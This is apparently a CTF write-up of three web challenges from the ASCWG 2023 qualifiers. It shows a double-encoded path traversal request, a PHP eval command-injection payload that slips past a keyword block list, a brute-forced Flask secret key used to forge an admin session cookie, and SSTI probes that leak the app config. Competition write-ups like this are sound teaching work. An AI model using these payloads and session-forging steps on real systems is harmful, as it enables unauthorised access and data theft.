ASCWG Qualifications 2023 (Arab Security Cyber Wargames) Web Category
Hi everyone, I’m a web pentester and I play CTFs sometimes. Recently, I participated in the Wargames 2023, where I managed to solve three challenges: one easy and two medium. Now, let me share the walkthroughs that I used to solve these challenges.
N1 (200 point)
I accessed this challenge using the following link: http://34.18.3.149:9001. Upon accessing the link, I encountered only a photo. I attempted to view the page source, but I found nothing.
I accessed the robots.txt
file and discovered the flag path, which was /tmp/ASCWG/flag.txt
.
So, I used the Param Miner extension from Burp Suite to identify a URL parameter. When I added a value to the URL parameter, it returned Noooooob hacker
which made me suspect a potential vulnerability to path traversal. Since I already had the flag path, I decided to investigate further.
When I accessed the flag path /tmp/ASCWG/flag.txt
as a URL parameter value as the following
http://34.18.3.149:9001/?url=/tmp/ASCWG/flag.txt
It still returned Noooooob hacker
. Therefore, I decided to employ slash encoding and double encoding using Burp Suite, but it continued to return the same result. As an alternative, I utilized an online encoding tool, such as the one available at https://www.urlencoder.io
. Surprisingly, the slash double encoding worked successfully.
http://34.18.3.149:9001/?url=%252Ftmp%252FASCWG%252Fflag.txt
It returned the flag successfully
Iniectio (300 point)
Based on its name, which hints at Latin, it appears that the challenge may be vulnerable to command injection. When I accessed the challenge, the URL was as follows: http://34.18.3.149:8000/xchal.php i found just a photo
I attempted to read the PHP source code by appending a tilde (~) after the name of the PHP file, like this:
http://34.18.3.149:8000/xchal.php~
And it returned the source code successfully
<?php
$dangerousFunctions = array('exec', 'shell_exec', 'popen', 'system', 'touch', 'echo', 'mv', 'cp', 'sed', 'passthru', 'proc_open', 'while', 'read ', '>', '<', 'nano', 'vi', 'vim', 'fopen', 'fgets', 'fgetc', 'file_get_contents', 'fwrite', 'file_put_contents', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 'sleep', 'rm', 'mkdir', '}', 'show_source', 'symlink', 'apache_child_terminate', 'apache_setenv', 'define_syslog_variables', 'escapeshellarg', 'escapeshellcmd', 'eval', 'pcntl_exec', 'posix_kill', 'posix_mkfifo', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'posix_uname', 'proc_close', 'proc_get_status', 'proc_nice', 'proc_terminate', 'putenv', 'register_shutdown_function', 'register_tick_function', 'ini_set', 'set_time_limit', 'set_include_path', 'header', 'mail', 'readfile', 'file_get_contents', 'file_put_contents', 'unlink', 'cat', 'tail', 'head', 'more', 'less', 'dd', 'od', 'xxd', 'tac', 'hexdump', 'file', 'awk', 'nano', 'vim', 'iconv', 'strings', 'rev', '|');
$name = $_GET['name'];
if (strlen($name) > 36) {
die ("The name is too long.");
}
foreach ($dangerousFunctions as $func) {
if (stripos($name, $func) !== false) {
die("oooooooooooh hacker !");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<style>
body {
background-image: url("x.webp");
background-repeat: no-repeat;
background-size: cover;
background-position: center center;
height: 100vh;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
}
@media (max-width: 768px) {
body {
background-size: contain;
}
}
</style>
</head>
<body>
<?php
$str = "echo \"<div style='position: fixed; top: 0; left: 0;'><p style='font-size: x-large; color: white;'>Hello " . $name . "!!!</p></div>\";";
eval($str);
?>
</body>
</html>
So, I discovered a GET parameter called name
with a maximum character limit of 36
. The challenge had a dangerous function that blocked many functions. To bypass this restriction, I researched about using eval()
for command injection and found that backticks `` should be included in my payload. Here is the modified payload I used
http://34.18.3.149:8000/xchal.php?name=";`ls -lah`;"
I searched for a command that could display the content of a file, excluding cat
, head
, and tail
since they were blocked. Eventually, I came across the nl
command, which allows displaying a file with line numbers, numbering all non-empty lines as the following
http://34.18.3.149:8000/xchal.php?name=";`nl flag`.php `;"
It returned the flag successfully
ASCWG{yeah_mrx_come_her!!!!!!!!!!!!!!!!}
Another solution
When I entered the /flag.txt
endpoint in Firefox without directory fuzzing, I received a 404 Not Found
error. However, when I accessed the link via Microsoft Edge, the flag was returned successfully.
That’s mean that someone renamed flag.php
to flag.txt
after exploiting the command injection, which allowed me to access the flag.
Father’s Light (600 point)
Upon accessing the challenge, I found a login page with default username and password values. I thought the values were admin:password
, and I was able to log in successfully as a regular user.
After receiving an error from flask/app.py
when I entered an incorrect session, I searched how Flask handles sessions.
I found a tool called Flask-Unsign
that can decrypt flask sessions to JSON format , so I used it as the following
flask-unsign --decode --cookie '.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM1P1Q.5FusuIQWNng-jDJeBGn4OKRQwYE'
The result was
{'is_admin': False, 'user_id': '162', 'username': 'admin'}
I want to brute force the secret key, pass it to the tool, and modify the JSON format to set is_admin
to True
in order to get the encoded session.
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM1P1Q.5FusuIQWNng-jDJeBGn4OKRQwYE' --no-literal-eval
The secret key was amorlove
I modified the session to obtain the flask-encoded session.
flask-unsign --sign --cookie '{"is_admin":True,"user_id":"1","username":"admin"}' --secret 'amorlove'
The flask-encoded session
.eJyrVsosjk9Myc3MU7IqKSpN1VEqLU4tis9MUbJSMlSC8PISc1OBXIiqWgC2jxDc.ZM1guQ.HtY5zbEYC_b-tUEP4syRUHGnMjI
As shown in the following photo, I became an admin.
Upon accessing the dashboard endpoint as shown below
I found that the name parameter was vulnerable to Flask SSTI, as evidenced by the execution of the payload {{7*7}}
as 49
, as shown in the following photo.
After injecting the payload {{ config }}
into the name parameter, the result returned the flag.
I finished explaining the 3 challenges I solved. I hope you like my writeup.